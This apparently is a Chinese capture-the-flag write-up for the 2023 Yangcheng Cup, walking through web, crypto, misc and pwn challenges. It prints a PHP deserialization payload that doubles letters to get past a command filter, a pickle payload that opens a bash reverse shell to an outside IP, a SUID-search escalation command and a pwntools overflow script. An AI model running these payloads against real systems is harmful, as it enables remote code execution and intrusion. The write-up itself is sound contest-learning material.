2023年“羊城杯”网络安全大赛-高职高专组 WriteUP

发布时间 2023-10-01 17:48:18作者: Fab1an

2023 羊城杯 WriteUp By Xp0int

2023羊城杯附件.zip

2023年“羊城杯”网络安全大赛-高职高专组 WriteUP——剑来.pdf

Web-1

image.png
题目名称:
D0n't pl4y g4m3!!!
题目内容:
小明不小心沉迷⚪⚪的东西把源码和猫猫搞丢了,请帮他找回来。请访问/p0p.php 【Flag完整格式一般为:flag{}或者DASCTF{},只需提交括号内的内容即可。若Flag为其它格式,则会在题目描述中单独说明。】
题目分值:
已答出21次,初始分值500.0,当前分值480.28,解出分值478.25
题目难度:
中等
靶机管理地址:
http://26361.endpoint-147f0df03bd2409e99db3aa41ba4ff12.m.ins.cloud.dasctf.com:81/dasctf_admin_portal
IP信息:
nc/80->tcp.cloud.dasctf.com:26361

打开靶机之后根据题目描述,就去浏览器打开/p0p.php

image.png

BP抓包之后发到重发器,发现hint.zip

image.png
image.png

打开压缩包是尊嘟假嘟加密,之前做西电的moeCTF2023的杂项题接触过

https://zdjd.vercel.app/
image.png

获得hint:flag在/tmp/catcatf1ag.txt

image.png

在尝试多次目录穿越后无果,想起可以通过看PHP的版本来看看有没有漏洞该版本的PHP有没有漏洞。

image.png

搜索到B站视频有讲这个漏洞,于是跟着复现

5fee0c567f8ed5cb6733144b99c1269.png

【PHP源码泄露漏洞-PHP Development Server <= 7.4.21 - CNVD-2023-05738】 https://www.bilibili.com/video/BV14Y411S7wf/

PHP Development Server <= 7.4.21 - Remote Source Disclosure PHP <= 7.4.21 存在源代码泄露的情况 PHP Development Server存在信息泄露漏洞,该漏洞源于php cli server begin send static在解析http请求时存在逻辑漏洞,攻击者可利用该漏洞将两个请求拼接至一个http请求中导致服务器将php文件作为静态文件返回。

然后拿到源码,进行PHP反序列化操作

e9f511c295246668404ecfa5b9f0a54.png

<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");

class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
            call_user_func('system', "cat /flag");
     }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
  unserialize(prohib($a));
}
?>

看了CSDN发现很像反序列化pop链,结合chatGPT的回答。要POST传参CTF的值

image.png

<?php
class Yang
{
    
}
class Bei
{
    
}
$a = new Bei(); // 创建一个名为 $a 的 Bei 类对象
$a->rce = 'nl /tmp/catcatf1ag.txt'; // 为 $a 对象添加一个名为 rce 的属性,值为 'nl /tmp/catcatf1ag.txt'
$a->rce1 = 'test2'; // 为 $a 对象添加一个名为 rce1 的属性,值为 'test2'
$a->CTF = new Yang(); // 为 $a 对象添加一个名为 CTF 的属性,值为新创建的 Yang 类对象
$a->CTF->finish->finish = true; // 访问 $a 对象的 CTF 属性,然后访问其内部的 finish 属性,并将其 finish 属性的 finish 属性设置为 true
$a->fine = new Yang(); // 为 $a 对象添加一个名为 fine 的属性,值为新创建的 Yang 类对象
$a->fine->finish->finish = true; // 访问 $a 对象的 fine 属性,然后访问其内部的 finish 属性,并将其 finish 属性的 finish 属性设置为 true
$a->fine->now = ['YCB1'=>'system']; // 访问 $a 对象的 fine 属性,然后访问其内部的 now 属性,将其设置为关联数组,包含一个键值对 'YCB1'=>'system'
echo serialize($a); // 序列化 $a 对象并输出
?>

image.png

payload:(system被过滤了,双写绕过)

CTF=O:3:"Bei":4:{s:3:"rce";s:22:"nl /tmp/catcatf1ag.txt";s:4:"rce1";s:5:"test2";s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}}s:4:"fine";O:4:"Yang":2:{s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}s:3:"now";a:1:{s:4:"YCB1";s:6:"syssystemtem";}}}

BP抓包之后送到重发器发包即可

image.png

Web-3

image.png

根据题目描述访问/www.zip获得源码

from flask import Flask, session
from secret import secret

@app.route('/verification')
def verification():
    try:
        attribute = session.get('Attribute')
        if not isinstance(attribute, dict):
            raise Exception
    except Exception:
        return 'Hacker!!!'
    if attribute.get('name') == 'admin':
        if attribute.get('admin') == 1:
            return secret
        else:
            return "Don't play tricks on me"
    else:
        return "You are a perfect stranger to me"

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

image.png

在cookie中发现session,认为是session伪造,GitHub上有脚本

eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRoVE01bWFFZDNuIn19.ZPPsXA.AnXbqGmwgy0bGgSVwoimu6xEQJw

image.png

有secret_key之后,修改admin和name的键值对

image.png

放到cookie的session中,访问/verification路由

image.png

访问/ppppppppppick1e路由,在请求头看见hint

image.png

访问/src0de路由,获得源码


@app.route('/src0de')
def src0de():
    f = open(__file__, 'r')
    rsp = f.read()
    f.close()
    return rsp[rsp.index("@app.route('/src0de')"):]

@app.route('/ppppppppppick1e')
def ppppppppppick1e():
    try:
        username = "admin"
        rsp = make_response("Hello, %s " % username)
        rsp.headers['hint'] = "Source in /src0de"
        pick1e = request.cookies.get('pick1e')
        if pick1e is not None:
            pick1e = base64.b64decode(pick1e)
        else:
            return rsp
        if check(pick1e):
            pick1e = pickle.loads(pick1e)
            return "Go for it!!!"
        else:
            return "No Way!!!"
    except Exception as e:
        error_message = str(e)
        return error_message

    return rsp

class GWHT():
    def __init__(self):
        pass

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

image.png

先将pick1e的cookie值进行base64编码,打算反弹shell

import base64
import pickle
payload = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/47.120.11.185/2333 0>&1"'
o.
'''
print(base64.b64encode(payload))

# 获得KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEyMC4xMS4xODUvMjMzMyAwPiYxIicKby4K之后

自己的VPS先监听端口,然后把pick1e的cookie值传入即可反弹shell

image.png

需要提权

image.png

find / -perm -u=s -type f 2>/dev/null

Python3可以提权

image.png
image.png

Crypto-6

image.png

先是社会主义核心价值观解码,获得密码解开压缩包

image.png

提示密码还有用

image.png

task.py只有个C,密文,看看私钥文件

(PKCS1) RSA 公私钥 pem 文件解析 - hahaha的文章 - 知乎 https://zhuanlan.zhihu.com/p/461349946
这篇文章教我们应该如何看私钥文件
image.png
image.png

CyberChef赛博厨导入私钥解析一下

0c8d6656dc945f55b1bc38058ba8ade.png

对应着文章解析私钥里面的p,q和e,再将其转成10进制,放入风二西脚本跑,发现只有一半flag,然后xor一下再跑就可以了

b49779be4446c3c257b7a412bbbf5b5.png

Misc-2

image.png
打开文件发现是一张图片:
image.png
发现该图片底下有一些东西:
用png宽高一把梭后发现不是flag
image.png
然后用010打开对文件用特定关键词对一点一点看发现某尾有个文件尝试丢到虚拟机里面然后用binwalk去bin然后发现拆分不出东西回去继续看尝试手动拆:
image.png
拆下来后解开压缩包发现是一行英文:
image.png
看见文本名字为feld猜测是Gronsfeld以及010中也说明要用five numbers
发现要key:
然后爆破key值发现:28303有对应的答案按:trytothinkthesnippingtools
image.png
把这句话复制到百度查出该漏洞为cve-2023-28303.....
按照别人的教程一步一步在该图片上进行复现该漏洞得出flag:
教程链接:https://blog.csdn.net/weixin_64422989/article/details/131993859
image.png
image.png

PWN-2

image.png
记事本打开发现为elf文件,丢进虚拟机查看文件信息:
image.png
用checksec对该文件进行进一步的查看:
image.png
查看了之后发现为64位程序,以及栈保护没有开启,
之后用gdb调试加ghidra进行反汇编看pwn文件:
image.png
image.png
慢慢测试找到可以溢出点然后些写py脚本:

from pwn import *
p=remote('tcp.cloud.dasctf.com',24656)
p.sendline('a')
payload=b'a'*0x100+p64(0x123456ee)
p.sendline(payload)
sleep(1)
p.sendline('cat fl*')
p.interactive()

直接得到flag
image.png